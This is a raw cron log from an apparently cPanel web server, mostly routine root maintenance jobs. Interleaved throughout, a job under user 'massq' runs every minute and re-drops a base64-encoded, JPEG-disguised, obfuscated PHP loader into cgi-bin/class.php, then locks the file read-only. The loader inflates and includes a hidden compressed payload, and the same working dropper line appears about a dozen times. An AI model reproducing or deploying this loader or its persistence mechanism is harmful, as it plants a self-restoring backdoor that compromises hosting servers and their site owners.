Sep  2 00:47:01 server CROND[15908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:48:01 server CROND[16289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:48:01 server CROND[16290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:48:01 server CROND[16291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:49:01 server CROND[16680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:49:01 server CROND[16681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:49:01 server CROND[16682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:50:01 server CROND[17077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:50:01 server CROND[17078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:50:01 server CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:50:01 server CROND[17083]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:50:01 server CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:50:01 server CROND[17088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:50:01 server CROND[17089]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:50:01 server CROND[17090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:50:01 server CROND[17092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:51:01 server CROND[18008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:51:01 server CROND[18009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:51:01 server CROND[18010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:52:01 server CROND[18393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:52:01 server CROND[18394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:52:01 server CROND[18395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:53:01 server CROND[18784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:53:01 server CROND[18785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:53:01 server CROND[18786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:54:01 server CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:54:01 server CROND[19170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:54:01 server CROND[19171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:55:01 server CROND[19567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:55:01 server CROND[19568]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:55:01 server CROND[19571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:55:01 server CROND[19566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:55:01 server CROND[19570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:55:01 server CROND[19569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:55:01 server CROND[19572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:56:01 server CROND[20540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:56:01 server CROND[20541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:56:01 server CROND[20542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:57:01 server CROND[20937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:57:01 server CROND[20938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:57:01 server CROND[20939]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:57:01 server CROND[20940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:58:01 server CROND[21327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:58:01 server CROND[21326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:58:01 server CROND[21328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:59:01 server CROND[21715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:59:01 server CROND[21716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:59:01 server CROND[21717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:00:01 server CROND[22128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:00:01 server CROND[22129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:00:01 server CROND[22136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
